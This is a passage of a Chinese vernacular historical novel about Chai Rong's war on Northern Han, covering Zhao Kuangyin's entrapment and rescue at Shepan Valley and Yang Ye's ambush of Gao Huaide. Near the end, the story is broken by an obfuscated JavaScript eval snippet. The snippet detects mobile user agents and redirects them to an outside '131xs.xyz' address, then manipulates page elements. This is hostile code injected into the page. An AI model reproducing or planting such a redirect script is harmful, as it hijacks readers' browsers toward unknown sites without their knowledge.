史彦超一看也先跑了,心里别提多高兴了,满脑子都是“拿下也先,立头功”,根本没多想,拍马就追了上去。符彦卿在后面一看,赶紧大喊:“小心有诈!别追太急!”可史彦超已经跑远了,根本没听见。也先跑了没多远,突然勒住马,从背上取下弓箭,搭箭拉弓,对着追来的史彦超“嗖”地射了过去。史彦超光顾着往前冲,没防备这一箭,箭头正好射中他的面门。他惨叫一声,从马上摔了下来。也先调转马头,冲回来补了一刀,可怜这位能征善战的大将,就这么死在了阵前。 后来有人为史彦超写诗惋惜: 跟辽兵鏖战,刀刃都被鲜血染红, 深入敌阵,一心只为国家尽忠。 过路人回头打听, 还能想起将军当年的英雄模样。 也先杀了史彦超,士气大振,又带着大军杀了回来。符彦卿忍着悲痛,带兵奋力抵抗。他跟也先又打了一百多个回合,两人打得难分胜负,眼看天快黑了,两边才各自收兵。 第二天,探马把史彦超战死的消息报告给柴荣。柴荣叹了口气,眼圈都红了:“打输一场仗不算什么,可折了史彦超这么好的大将,真是太可惜了!”他当即下令,让众将带兵去跟契丹兵决战,一定要为史彦超报仇。 这时,赵匡胤站出来说:“陛下,北汉就是快灭亡的贼寇,早晚能攻破;契丹虽然兵多,但他们心里其实是在观望,不敢真的跟咱们硬拼。依我看,不如先派一部分兵力挡住契丹兵,不让他们过来,然后集中兵力攻打晋阳。只要晋阳被攻破,契丹兵不用打就会自己退走。”柴荣觉得赵匡胤说得有道理,就下令让众将全力攻打晋阳。 晋阳城里的刘崇,听说契丹援兵还没来,周军又打得这么猛,心里慌得不行,坐立不安。他的亲军使丁贵见他这副样子,上前说道:“陛下别担心,臣虽然没什么大本事,但愿意带着我的部下出去迎战,一定杀退周军,为陛下分忧。”刘崇皱着眉说:“周军势头这么猛,你出去跟他们硬拼,不是送死吗?”丁贵坚定地说:“将军打仗,靠的是计谋不是光有勇力。要是我退不了周军,再想别的办法也不迟。”刘崇没办法,只好答应了。 这个丁贵是山后人,因为身手敏捷、能同时使用三种兵器,被人称为“三手将军”。他使一把大刀,有万夫不当之勇,是刘崇最信任的大臣。第二天一早,丁贵带着一万士兵,打开城门,放炮助威,擂鼓呐喊,在城外摆开阵势,等着周军应战。 柴荣听说晋阳有人出来迎战,亲自到阵前指挥——他左边是赵匡胤,右边是高怀德,三个人骑着马,站在帅旗下面。对面的丁贵,左边是部将李存节,右边是陈天寿。高怀德一看丁贵,拍马上前,大声骂道:“你这贼奴!赶紧投降,还敢出来抵抗?”丁贵气得脸色发青,也不答话,拍马提刀,朝着高怀德冲了过来。高怀德也不含糊,挺枪迎了上去。 两人一交手,就知道遇上对手了。丁贵的大刀劈下来,带着呼呼的风声,像是要把空气都劈开;高怀德的长枪舞得密不透风,一次次挡住大刀的进攻。战场上,两匹马你来我往,兵器碰撞的“叮叮当当”声,夹杂着士兵们的呐喊声,震得人耳朵发麻。有人专门为这场大战写了段话: 两位将军在阵前比拼, 交锋的时候谁也拦不住谁。 这个像摇头摆尾的狮子冲下山冈, 那个像摆着尾巴的狻猊寻找猛虎。 这个真心想平定天下, 那个实心要保住北汉的江山。 从来见过无数恶战, 却从没见过这样威风的将军。 两人打了一百多个回合,还是分不出胜负。城楼上的刘崇,正紧张地看着下面的战事,突然一眼看到了阵前的柴荣。他心里一动,赶紧对身边的部将白从辉说:“快!放箭射柴荣!”白从辉赶紧拿起弓箭,搭箭拉弓,瞄准柴荣的坐马“嗖”地射了过去。这一箭正好射中马腿,那马疼得直跳,一下子把柴荣掀翻在地上。 北汉的陈天寿一看,心里大喜,拍马提枪,朝着柴荣冲了过去,想趁机杀了柴荣。赵匡胤在旁边看得真切,大喊一声:“别伤陛下!”他赶紧绰起自己的九耳八环刀,朝着陈天寿劈了过去。陈天寿赶紧用枪去挡,“当”的一声,枪杆被刀震得发麻,虎口都裂开了。他吓得魂都飞了,哪还敢再战,拨转马头就往自己阵中跑。 周军这边的董龙、董虎兄弟,赶紧冲过去把柴荣扶起来。张永德、郑恩听说前面打起来了,也带着精兵赶来支援。丁贵一看周军越来越多,知道自己人少,再打下去肯定要吃亏,只好下令收兵,退回晋阳城里。高怀德想追上去,可刚跑到护城河边上,城里的人就把吊桥拉起来了,他只好带兵回来。 柴荣拍着赵匡胤的肩膀说:“今天要是没有二御弟你反应快,我差点就被北汉兵害了,你这功劳太大了!”赵匡胤连忙说:“陛下说的哪里话,保护陛下是臣的本分。只是以后陛下千万要保重自己,别再到这么危险的地方来了。”柴荣点点头,心里很是感激,当天晚上就下令在军营里摆酒,犒劳立功的将士。 咱们再说说丁贵回到晋阳后,见到刘崇,苦着脸说:“陛下,周军兵力太强,将士们也很勇猛,咱们很难抵挡啊。”刘崇叹了口气:“今天我在城楼上看打仗,周军比高平之战时还厉害。可契丹援兵又不来,这可怎么办啊?”丁贵想了想说:“臣听说单珪令公带着重兵在绛州驻守,他又有智谋又会打仗,陛下要是把他调回来,肯定能退敌。”刘崇觉得这个主意不错,赶紧派人偷偷去绛州,召单珪来晋阳。 单珪那天正在绛州府里跟部下商量防备周军的事,听说刘崇派人来召他,不敢耽误,当即带着四个儿子——单守俊、单守杰、单守信、单守能,领着三万精兵,往晋阳赶。大军走到凤凰山的时候,单珪下令扎营——这里离晋阳还有三十多里,正好可以先歇一歇,看看前面的情况。 当天晚上,单珪把四个儿子叫到营帐里,嘱咐道:“我听说刘主在高平打了大败仗,将士们士气低落,都是因为赵匡胤太勇猛、高怀德太能打,而且周军还有不少厉害的将领。你们跟他们打仗的时候,一定要小心,别太冲动,别丢了咱们的锐气。”大儿子单守俊听了,不服气地说:“爹,您别长别人的志气,灭自己的威风!明天我去跟他们打,一定把赵匡胤活捉回来,让他们看看咱们的厉害!”单珪皱了皱眉,想说什么,可看儿子一脸自信的样子,又把话咽了回去,心里却隐隐有些担心。 第二天一早,探马就把单珪带兵到凤凰山的消息报告给了周军大营。赵匡胤主动向柴荣请战:“陛下,臣愿意带着众将去迎战单珪。”柴荣大喜,当即同意。赵匡胤带着高怀德、董龙、董虎等人,领着大军来到凤凰山下,跟单珪的军队对峙。 单珪带着四个儿子,拍马上前,对着周军大喊:“周军不知死活,还敢来跟我打仗,是想早点死吗?”赵匡胤气得脸色发黑,拍马挥刀说:“北汉早晚要灭亡,你居然还敢阻拦我们的大军!今天我非要活捉你,让你知道我的厉害!”单守俊一听,气得火冒三丈,拍马挺枪,朝着赵匡胤冲了过来。赵匡胤举刀一架,“当”的一声,单守俊只觉得手臂发麻,枪差点掉在地上。他在马上晃了晃,心里暗惊:“这赵匡胤的力气也太大了!”可他不愿意认输,又挺□□了过来。赵匡胤从容应对,没打三个回合,单守俊就招架不住了,拨转马头往回跑。 单守杰见哥哥败了,大喊一声:“我来收拾这个家伙!”他骑着马,提着刀,从阵中冲了出来,跟赵匡胤打在一起。单守信一看弟弟也打不过赵匡胤,赶紧催马挺枪,上前帮忙,想两个人夹攻赵匡胤。高怀德在旁边看得清楚,拍马挺枪,冲过去把单守信的军队拦成两截。单守信正想转身迎战高怀德,高怀德已经到了他跟前,一枪把他挑下马来。单守能赶紧冲过去,把单守信救了回来。单守杰见弟弟们都吃亏了,也不敢再打,拨马就跑。 北汉的士兵见赵匡胤、高怀德这么勇猛,吓得没人敢上前,纷纷往后退。赵匡胤见北军阵脚乱了,拍马挺刀,独自一人冲进北军阵中。周军士兵也跟着冲了上去,北军士兵吓得丢盔弃甲,四散逃跑。有人写诗称赞赵匡胤: 周军有三千队拿着刀枪剑戟的士兵, 还有一万多披着铠甲的骑兵。 赵匡胤杀将斩兵没人能挡, 真不愧是能当帝王的英雄。 高怀德见赵匡胤打得这么猛,赶紧下令大军冲锋。北军大败,尸体堆得像小山一样,鲜血流得像小溪一样。赵匡胤追了十里地,见北军跑远了,才下令收兵。这次打仗,周军缴获了很多粮草、马匹和兵器,赵匡胤让人把这些东西分给士兵们,然后派人回大营向柴荣报捷。 单珪带着残兵退了十五里地,才勉强稳住阵脚。他清点了一下士兵,发现少了一大半,还有很多人受了伤。他把四个儿子叫到跟前,愁眉苦脸地说:“我带兵这么多年,从来没打过这么惨的败仗,今天真是丢尽了脸。赵匡胤确实像传说中那么勇猛,还有高怀德帮忙,咱们根本打不过他们,这可怎么办啊?” 就在这时,单珪的牙将刘武站出来说:“将军别担心,我有一个计策,要活捉赵匡胤易如反掌!”单珪眼睛一亮,赶紧问:“你有什么好办法?快说说!”刘武说:“离这里五里地,有个地方叫蛇盘谷,那里地势险要,里面大多是绝地,只有一条小路能出去。咱们可以先让人准备好石块,在谷口两边埋伏两支人马。将军您明天去跟赵匡胤打仗,假装打不过,把他骗进谷里。然后将军您带着人从那条小路绕过去,用石块把小路堵上,再在谷口外面用重兵围住,这样就能把赵匡胤活捉了!” 单珪听完,高兴得一拍大腿:“好主意!就这么办!”他当即下令, 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北军阵门一开,单珪带着单守信、单守能拍马上前。赵匡胤喊道:“败军之将,还不赶紧投降,居然还敢来送死!”单珪冷笑着说:“少废话,今天我专门来活捉你,报昨天的仇!”赵匡胤大怒,拍马提刀冲了过去。单守能拿着方天画戟,迎了上来。两人打了七八个回合,单守能假装打不过,拨马就跑。单珪和单守信赶紧拿着兵器冲上来,挡住赵匡胤。赵匡胤奋力跟两人打了十个回合,突然看见单珪身子一歪,像是要从马上掉下来似的,单守信赶紧上前“搀扶”。两人一边“扶”一边往东北方向跑,嘴里还喊着“快跑,打不过了!” 赵匡胤一看,心里大喜:“要是能捉住单珪这个老贼,比杀一百个小兵都强!”他拍马就追,高怀德在后面赶紧带着大军跟上。赵匡胤追着追着,不知不觉就进了一个山谷——他光顾着追单珪,没注意周围的环境。等他反应过来的时候,突然发现前面没了单珪父子的踪影。他心里一沉,赶紧让士兵去探路。士兵跑回来报告:“将军,这山谷里面没有别的路,只有一条小路,还被石块堵上了!” 赵匡胤这才明白,自己中了单珪的计,心里又悔又急:“都怪我太急功近利,没听高怀德的劝告,现在不仅自己被困,还连累了五千弟兄!”他赶紧下令:“快,往回退!”可已经晚了——谷口两边突然冲出很多北汉士兵,把谷口围得严严实实。赵匡胤带着士兵冲了好几次,都被北汉兵挡了回来。高怀德带着的兵不多,在谷口外面想救却救不进去。就这样,赵匡胤和五千周军士兵,被单珪困在了蛇盘谷里。单珪又派了重兵把山谷围得水泄不通,别说人了,就连一只鸟都飞不出去。 高怀德没办法,只好带着剩下的士兵,赶回周军大营。见到柴荣后,他把赵匡胤被单珪诱进蛇盘谷、被困住的消息说了一遍。柴荣一听,吓得脸色发白,急得直跺脚:“二御弟要是出事,我平定天下的大事就完了!”他当即下令,让东大营的张永德、郑恩带着自己的部下,赶紧去救赵匡胤。柴荣怕将士们不用心,还决定亲自去监军。 晋阳城里的刘崇,听说单珪用计困住了赵匡胤,心里乐开了花。他赶紧派丁贵、李存节、陈天寿带着两万士兵,驻扎在晋阳城外,跟单珪的军队互相照应,形成夹击之势,防止周军来救赵匡胤。 柴荣带着张永德、郑恩等人,赶到凤凰山后,立刻摆开阵势,向单珪挑战。单珪拍马上前,对着周军大喊:“周军赶紧退回去!你们的赵匡胤,已经被我用小计困在谷里了,早晚得饿死!你们还来这里送死,是想跟他一起死吗?”柴荣气得浑身发抖,指着单珪骂道:“你这狂妄的贼子!赶紧把围兵撤了,我还能饶你一命;不然的话,我把你们全都砍成肉泥,为二御弟报仇!” 柴荣的话刚说完,张永德就拍马挺枪,朝着单珪冲了过去。单珪也不含糊,挥刀迎了上来。两边的士兵呐喊助威,战鼓敲得震天响。张永德和单珪打了一百多个回合,还是分不出胜负。郑恩在帅旗下面看得不耐烦了,提着大刀,拍马冲了上去,想帮张永德一把。北军阵里的单守杰,赶紧提着刀冲出来,挡住郑恩。四个人两对两,在阵前打得不可开交。眼看天快黑了,两边的士兵都有伤亡,只好各自收兵。 柴荣因为赵匡胤被困在谷里,心里一直很着急,晚上根本睡不着觉。第二天一早,他让高怀德、郑恩带着大军,去蛇盘谷口攻打。高怀德和郑恩带着士兵刚冲到半山腰,就听见山上“轰隆隆”一阵响——北汉兵从山上往下扔石块、射弓箭,像下雨一样。周军士兵根本没法往上冲,不少人被石块砸伤、被弓箭射中。高怀德没办法,只好下令退到谷口,想先安营扎寨,再想办法。可他们刚要扎营,谷口两边突然传来一阵梆子响,无数支弓箭像飞蝗一样射了过来,北汉兵的呐喊声震耳欲聋。周军士兵吓得站不住脚,高怀德和郑恩只好带着士兵退回大营。 柴荣见攻打不进去,心里更着急了。他又派马全义、岳元福、刘词等人,每天去跟单珪打仗,可双方打了好几次,都是有赢有输,始终没法靠近蛇盘谷。柴荣整天坐立不安,吃也吃不下,睡也睡不着,只能天天派将领去挑战、去攻打,可一点用都没有。 更让柴荣头疼的是,单珪听了刘武的建议,改变了策略。刘武对单珪说:“将军,赵匡胤被困在谷里,周军肯定想尽快救他,所以他们希望速战速决。咱们现在最好的办法,就是坚守不出。不用一个月,谷里的周军就会断粮,到时候他们肯定会饿死,咱们根本不用跟他们硬拼!”单珪觉得这个主意好,当即下令,让士兵们坚守营寨,不管周军怎么挑战,都不出战。这样一来,柴荣派去的将领,每次都是空着手回来。 柴荣知道这个消息后,心里像揣了块火炭,坐立难安。眼看快半个月了,还是没找到救赵匡胤的办法。郑恩实在忍不住了,对柴荣说:“陛下,您别担心,今晚我带着人拼死杀进谷里,一定把二哥救出来!”柴荣摇摇头,叹了口气说:“不是众将不肯用心,实在是蛇盘谷太险要,不好攻打。你去了也是白白送死,没什么用啊。” 张永德站出来说:“陛下,我有个主意。咱们可以贴出榜文,招募当地的人——要是有人熟悉蛇盘谷的地形,能偷偷进谷里给赵将军送信,或者带咱们从秘道进去,就给他封官。不然的话,再等下去,谷里的士兵断了粮,不仅救不出赵将军,连那五千弟兄也保不住了。”柴荣觉得这个主意可行,当即让人写了榜文,贴在军营周围和附近的村镇里。 那天晚上,柴荣心里还是很烦闷,躺在床上翻来覆去睡不着。他索性起身,带着几个贴身侍卫,在军营里巡视。当时正是初秋,晚上的风带着凉意,吹在身上很舒服。天上的月亮又大又圆,星星稀疏地挂在天上,夜色中的军营很安静,只有偶尔传来的士兵巡逻的脚步声。 柴荣走着走着,突然听见军营后面传来有人唱歌的声音。那歌声慷慨激昂,带着一股不服输的劲头,听起来让人心里振奋。柴荣停下脚步,仔细听着——歌声里满是豪情,像是在诉说着自己的志向,又像是在鼓励着什么。柴荣心里纳闷:“这么晚了,是谁在唱歌?”他让人去看看,心里却隐隐觉得,也许这个唱歌的人,能帮上忙。 正是因为这一首歌,后来竟然让被困在绝地的赵匡胤有了生路,也让周军的危机得到了缓解。可到底唱歌的人是谁?他又能不能救赵匡胤呢?咱们下次再接着说。 50. 第 50 章 话说周世宗柴荣这些天心里像压了块大石头,满脑子都是赵匡胤被困蛇盘谷的事。他翻遍了军中将领名册,想找个熟悉河东地形的人带路,从密道去救赵匡胤,可连着三天都没头绪。这天夜里,柴荣根本睡不着,披着铠甲在营中来回踱步,越想越愁——要是赵匡胤有个三长两短,军中少了这根顶梁柱,往后打北汉、统天下的事可就难了。 走着走着,他忽然听见营后远处传来一阵歌声,夜里静得很,那声音字正腔圆,既带着几分壮志未酬的激昂,又藏着些怀才不遇的无奈。柴荣停下脚步仔细听,歌词是这么唱的:“天地反复兮,吾志能维。干戈扰攘兮,吾计可夷。明珠藏于匣兮,灿烂常晞。良士隐于山兮,功施无机。已矣已矣!识者何希?” 柴荣心里一动:“能唱出这种歌的,绝不是普通士兵,这人肯定有本事,我得找到他。” 第二天一早,柴荣就叫身边的侍从官李忠去悄悄寻访。李忠是个细心人,揣着圣旨绕着营区转了大半天,最后在营后那片老柳树下,看见一个身材魁梧的汉子正靠在树上磨枪。那汉子穿的铠甲又旧又破,脸上带着风霜,可眼神却亮得很,不像混日子的兵。李忠上前拱了拱手:“这位兄弟,昨夜营后唱歌的是你吗?陛下有请。” 那汉子抬头看了李忠一眼,手里的磨石没停:“陛下找我做什么?我就是个没人要的闲兵。” 李忠听他话里有气,赶紧解释:“陛下听你歌声不凡,知道你是有本事的人,想跟你聊聊,说不定能给你个施展的机会。” 汉子这才停下手里的活,擦了擦枪头:“也好,我倒要看看这位周世宗是不是真像传闻中那样识人。” 两人来到中军大帐,汉子跪下磕头,柴荣赶紧让人扶他起来,笑着问:“壮士贵姓大名?” 汉子站起身,声音洪亮:“小人姓史,名魁,字彦升,是前朝名将史建瑭的儿子。” 柴荣眼睛一亮:“原来是将门之后!昨夜那首歌,是你写的?” 史魁叹了口气,语气软了些:“小人这些年一直在江湖上漂泊,靠卖艺糊口。之前在绛州的时候,单珪单令公招人,我就去了,想着能混个功名。可没想到,单珪根本不把我当回事,我空有一身本事,连个上阵的机会都没有,昨晚心里憋屈,就唱了那首歌。” 柴荣让人摆上酒肉,拉着史魁坐下,诚恳地说:“壮士有这样的抱负,怎么能屈居人下?我一向最看重有本事的人,要是你愿意跟着我,我绝不会亏待你。” 史魁看着柴荣真诚的眼神,心里一热——他在单珪营里受了太多冷遇,这会儿终于有人肯正眼瞧他了。他往前凑了凑,压低声音:“陛下要是真信得过我,我有件大事要跟您说。我虽然在单珪手下当差,可早就想投奔您了,就是没机会。现在单珪把赵将军困在蛇盘谷,他不知道,我跟赵将军当年在五索州有过一面之缘,早就想救他了。昨天看见您贴的皇榜,我才故意唱歌试探,就是想找机会跟您投诚,顺便救赵将军。” 柴荣一听,高兴得差点站起来:“壮士要是能救回赵匡胤,就是大功一件!你有什么计划,尽管说。” 史魁喝了口酒,慢慢道:“得里应外合才行。我回去之后,就骗单珪说要带兵去谷里杀赵将军,趁机把我的人埋伏在谷中。陛下您在第三天夜里,看见谷里起火,就赶紧带兵杀进去,我在里面接应,两边一起动手,赵将军就能出来了。” 柴荣拍着史魁的肩膀:“好!要是成了,我封你做左参军!” 史魁谢了柴荣,转身回了单珪的营寨。第一天他没敢动,就怕单珪起疑心。到了第二天,史魁故意去找单珪,装作很急切的样子:“令公,赵匡胤是周军的心头肉,现在他被困在谷里,周兵就在外面守着,咱们跟他们耗着不是办法。我来您这儿这么久,还没立过功,今天我想带支兵去谷里,趁他们没粮食、没力气,把赵匡胤的头砍下来,周兵一看主将死了,肯定会退。到时候,您就能早点凯旋,不用在这儿浪费时间了。” 单珪本来就愁怎么解决周兵,一听史魁这么说,赶紧点头:“好!我给你五千兵,你要是能杀了赵匡胤,我保你升官!” 史魁领了兵,回到自己的小帐篷,立刻叫来了心腹刘勇。刘勇是史魁的同乡,当年一起在绛州卖艺,后来跟着史魁投了单珪,对单珪也满肚子不满。史魁关上门,小声说:“我已经投了周世宗,准备救赵将军。明天夜里,你在营里放火,我在谷里杀出来,外面有周兵接应。这事成了,咱们就不用再受单珪的气了。” 刘勇眼睛一亮:“早就想跟单珪这老东西翻脸了!你放心,我肯定办妥。” 第二天一早,史魁带着兵来到蛇盘谷口,守谷的士兵见是单珪派来的,赶紧放行。史魁进了谷,一眼就看见赵匡胤坐在一块大石头上,眉头皱得紧紧的。谷里的周兵也就一千多人,一个个面黄肌瘦,有的靠在树上喘气,有的盯着地上的草根发呆——他们被困了二十多天,粮食早就吃完了,连战马都杀了吃肉,现在连走路的力气都快没了。 史魁心里一阵发酸,让手下的士兵先扎好营,自己一个人走向赵匡胤。赵匡胤听见脚步声,猛地抬起头,手按在腰间的剑柄上——他以为是单珪派人来杀他了。可等史魁走近,赵匡胤仔细一看,忽然松了口气,站起来快步走过去:“史大哥?你怎么来了?是来救我的吗?” 两人坐在石头上,史魁把投诚柴荣、里应外合的计划说了一遍。赵匡胤听完,激动得抓住史魁的手:“上次在五索州你救了我,这次又帮我,这份情我记一辈子!” 史魁笑了笑:“都是兄弟,说这些干啥。对了,我知道你们没粮食了,我让兄弟们带了米来。” 说着,史魁喊了一声,手下的士兵纷纷从怀里掏出布包,里面全是米。谷里的周兵一看有粮食,眼睛都亮了,赶紧生火做饭。一碗碗热米饭端上来,士兵们狼吞虎咽,吃完了都觉得浑身有力气,脸上也有了血色。赵匡胤看着兄弟们的样子,心里对史魁更感激了。 到了第三天夜里,快三更的时候,远处忽然传来一阵火光——是刘勇在单珪营里放火了。周营里立刻响起号炮声,柴荣亲自带兵杀向蛇盘谷。谷里的赵匡胤和史魁听见炮声,立刻带领士兵冲出去,谷口的守兵没反应过来,被他们杀得落花流水。 史魁正杀着,忽然有个将领骑着马冲过来,嘴里大骂:“反贼!敢背叛令公!” 史魁一看,是单珪的侄子单守俊。他也不说话,挺枪就刺,单守俊没防备,被一枪挑下马,当场死了。史魁带着兵继续往外冲,刚出谷口,就看见单珪骑着马冲过来,手里的大刀挥得呼呼响:“史魁!我瞎了眼才信你!” 史魁举枪挡住大刀,两人打了起来。没打几个回合,高怀德从后面冲过来,挺枪就刺单珪的后背。单珪赶紧转身躲,可已经晚了,赵匡胤趁机冲上去,手里的刀一挥,“咔嚓”一声,单珪被劈成了两半。 单珪的儿子单守杰一看父亲死了,吓得魂都没了,骑着马就跑,刚跑没多远,就撞见了郑恩。郑恩手里的铁棍一挥,单守杰连人带马被打翻,当场没了气。单珪的部将刘武被乱兵砍死,守能躲在帐篷里,结果帐篷被火烧着,连人带马被烧死了。剩下的北兵要么投降,要么逃跑,蛇盘谷这一战,周兵大获全胜。 等到天亮,柴荣让人清点战场,北兵的尸体铺了十几里地,丢下的粮草、兵器堆得像小山。可史魁却有点难过——他的心腹刘勇在放火的时候,被北兵发现,当场被杀了。柴荣知道后,特意让人厚葬了刘勇,还赏了他家人不少钱。 赵匡胤拜见柴荣,跪在地上:“谢陛下救我!” 柴荣赶紧把他扶起来:“要不是史魁,我还救不了你呢。”说着,他下令封史魁为左参军,其他将领也都有封赏。 经此一战,周兵的士气更盛了,附近的北兵吓得都躲进城里不敢出来。柴荣带着兵来到汾水边上,扎下营寨,下令加紧攻打晋阳。北汉皇帝刘崇吓得坐立不安,赶紧召集大臣商量:“单珪的兵全完了,周兵攻城越来越急,契丹的兵又不动,咱们这国家要完了,你们有什么办法?” 大臣丁贵站出来:“陛下别慌。咱们河东地势好,北靠辽国,西靠山后,晋阳的城墙又结实,还有几万精兵没动。周兵虽然厉害,可一时半会儿也打不进来。现在山后应州有个杨业,人称金刀杨令公,是高祖皇帝倚重的大将,手里有精兵,手下有勇将,要是能请他来救,周兵肯定会退。” 刘崇赶紧点头:“快!派使臣去应州,让杨业快来!” 再说杨业,字继业,是太原人。他长得面如重枣,留着五缕长髯,身高八尺,看着就威风凛凛。他手里的那把金刀,重八十多斤,上了战场没人能挡得住,所以人称“杨无敌”。杨业不仅武功高,还懂兵法,打仗特别有计谋。他的妻子佘氏,也就是后来的佘太君,更是厉害——她从小在绿林里长大,父亲佘志龙是个山寨头领,佘氏不仅懂兵法,还会用流星锤,力气比男人还大,一般的将领根本打不过她。 当年杨业年轻的时候,奉父亲杨衮的命令去探亲,路过佘志龙的山寨,被佘氏拦住要“买路钱”。两人打了起来,没想到打了一百多个回合,谁也赢不了谁。佘志龙一看杨业长得精神,武功又高,心里特别喜欢,就把他请上山,劝他娶了佘氏。杨业也觉得佘氏又漂亮又能干,就答应了。后来杨业还劝佘志龙归顺朝廷,佘志龙听了他的话,带着山寨的人投了官,一家人都成了朝廷的人。 杨业和佘氏有七个儿子,一个义子:大儿子杨延平,二儿子杨延定,三儿子杨延辉,四儿子杨延朗,五儿子杨延德,六儿子杨延昭,七儿子杨延嗣,义子杨怀亮。这八个儿子,个个弓马娴熟,武功高强,都有万夫不当之勇。还有两个女儿,八娘和九妹,也跟着父母学武功,打仗的时候一点都不含糊。所以当时都说,山后的杨家兵是天下最厉害的兵。 这天,杨业正在府里跟八个儿子商量练兵的事,忽然有人来报:“陛下派使臣来了,请您去救晋阳。” 杨业接了圣旨,跟部将陈武商量:“我早就听说单珪打了败仗,周兵现在很厉害。陛下既然召我,我不能不去。” 陈武是杨业的老部下,跟着他打了十几年仗:“将军去哪,我就去哪!我这就去点兵。” 杨业点了三万精兵,带着八个儿子和陈武、王贵,往晋阳出发。走到金锁关的时候,他下令扎营休息,让人去打探周兵的消息。 消息很快传到周营,柴荣召集将领开会。赵匡胤站出来:“杨业的兵虽然厉害,可咱们也不是吓大的!我愿意带兵去跟他打,保证不让陛下担心。” 柴荣点头:“好!你们都小心点,别轻敌。” 当天夜里,柴荣在营里睡觉,忽然梦见一个穿着宽袍大袖的妇人,后面跟着二十多个侍女,每个侍女手里都拿着一块木牌,牌上画着云彩,中间写着一个大大的“水”字。那妇人走到柴荣面前,把木牌晃了晃:“陛下的兵威已经够强了,天下人都怕您。您还是赶紧回去吧,不然几万士兵要受苦了。我是晋阳的城隍,特意来提醒您。” 柴荣刚想追问,不小心被袍子绊了一下,“扑通”一声摔倒了,一下子醒了过来。他坐起来,看见桌子上放着一张纸,上面写着四句诗:“百战功成第一机,全凭汾水隔华夷。贪功不解波涛涌,数万雄师俱受欺。” 柴荣看不懂这诗的意思,第二天一早,就召大臣来解释,可没人能说清楚。他又让人找了个当地的老人来,老人说:“离汾水十五里的地方,有个后土夫人庙,说不定是这位神仙给陛下托梦。” 柴荣赶紧让赵匡胤带着香烛去庙里上香。赵匡胤去了之后,回来报告:“汾水西南确实有个后土夫人庙,我已经替陛下上了香,还捐了些钱修庙。” 刚说完,就有人来报:“杨业的兵到金锁关了!” 柴荣问:“谁愿意去迎敌?” 赵匡胤又站出来:“我去!” 柴荣答应了,赵匡胤带着一万精兵,跟郑恩、高怀德一起,来到平川地带,摆开阵势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519315|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周兵一看杨家兵的样子,都忍不住啧啧称赞——杨家兵穿着整齐的铠甲,手里的兵器擦得发亮,骑兵的战马个个肥壮,队列整整齐齐,比单珪的兵强多了。 三通鼓响,杨家营里放炮,杨业骑着马走了出来,左边是部将王贵,右边是义子杨怀亮。赵匡胤叹了口气:“都说杨家兵厉害,果然没骗人。” 话音刚落,高怀德拍马冲了出去,大声喊:“谁敢来跟我打!” 杨家阵里,杨怀亮骑着马冲出来,手里拿着竹节钢鞭:“我来会你!” 两人打了起来,钢鞭和长枪碰在一起,“叮叮当当”响个不停。打了四十多个回合,谁也没赢谁。杨业在阵前看着,心里暗暗称赞:“这高怀德果然有本事,难怪周兵这么厉害。” 眼看天快黑了,两边都收了兵。杨业回到营里,跟王贵商量:“周将里高怀德最厉害,要是能先把他抓住,其他的就好对付了。” 王贵问:“将军有什么计策?” 杨业说:“离金锁关四里有个地方叫铁笼原,那地方山上没树,四周都是高山,特别适合埋伏。明天让怀亮跟高怀德打仗,故意输给他,把他引到铁笼原里。我跟你在山上看着,指挥士兵把他围住,到时候他插翅也难飞。” 王贵笑着说:“将军这计策,比诸葛亮还厉害!” 杨业立刻下令,让总管冯益带三千兵去铁笼原埋伏。这冯益本来是郓州的守将,后来因为犯了错,逃到杨业手下,一直想立功赎罪,接到命令后,赶紧带着兵去了。 第二天一早,杨业放炮出营,在阵前讨战。赵匡胤带着兵出来,高怀德说:“昨天没分输赢,今天我一定要抓住杨怀亮,杀杀他们的威风!” 赵匡胤劝他:“杨业很狡猾,你别大意。” 高怀德没听,拍马冲了出去。杨怀亮也冲了出来,两人打了十几个回合,杨怀亮假装打不过,拨马就往回跑。杨业带着兵也跟着退,看起来像打了败仗一样。 高怀德一看,心里高兴:“想跑?没那么容易!”说着,拍马追了上去。赵匡胤怕他出事,赶紧带着兵跟在后面。杨家兵跑得飞快,丢了不少铠甲和兵器,看起来狼狈极了。 高怀德追着追着,就到了铁笼原。忽然,“咚”的一声炮响,冯益带着伏兵冲了出来,把周兵分成了两段。杨延昭带着兵挡住后面的赵匡胤,不让他们过来。高怀德带着一千多士兵,被杨家兵逼进了铁笼原里。 铁笼原里光秃秃的,没地方躲,杨家兵在四周的山上射箭、扔石头,周兵根本冲不出去。高怀德心里后悔极了:“都怪我太急了,中了杨业的计!”他看着身边的士兵,有的被箭射中,有的被石头砸伤,心里又疼又急,大声喊:“兄弟们别怕,咱们守住阵脚,等赵将军来救我们!” 赵匡胤和郑恩在外面,看着高怀德被困,赶紧带兵冲上去,可山上的箭像下雨一样,石头也像冰雹一样往下砸,周兵死了不少,根本靠近不了。赵匡胤没办法,只好带着兵退了十五里,扎下营寨。 杨业让冯益守着铁笼原的谷口,派人去晋阳报捷。刘崇听说杨业赢了,赶紧派人送了不少羊肉和酒到杨家营里,赏给士兵。杨业让人把这些东西分给士兵,还让他们在营前喝酒、奏乐,天天都这样。 消息传到周营,郑恩急得直跺脚:“杨业这老狐狸,打赢了就得意忘形,士兵们天天喝酒,肯定没防备。咱们今晚去劫营,肯定能救回怀德!” 赵匡胤摇摇头:“杨业很聪明,不会这么大意,说不定是诱敌计。咱们还是等陛下过来,商量好了再动手。” 郑恩急了:“等陛下过来,怀德都快饿死了!你不敢去,我去!” 赵匡胤怎么劝都没用,只好说:“那我跟你一起去,你小心点。” 郑恩带着两千士兵,偷偷往杨家营里摸,赵匡胤带着骑兵跟在后面接应。快到杨家营的时候,郑恩看见营里静悄悄的,连个站岗的士兵都没有,只有几盏灯在晃。他心里一喜:“果然没防备!” 大喊一声,带着士兵冲了进去。可一进营寨,他就傻了——营里空无一人,只有几个稻草人插在那里。“不好!中计了!”郑恩赶紧喊:“快退!” 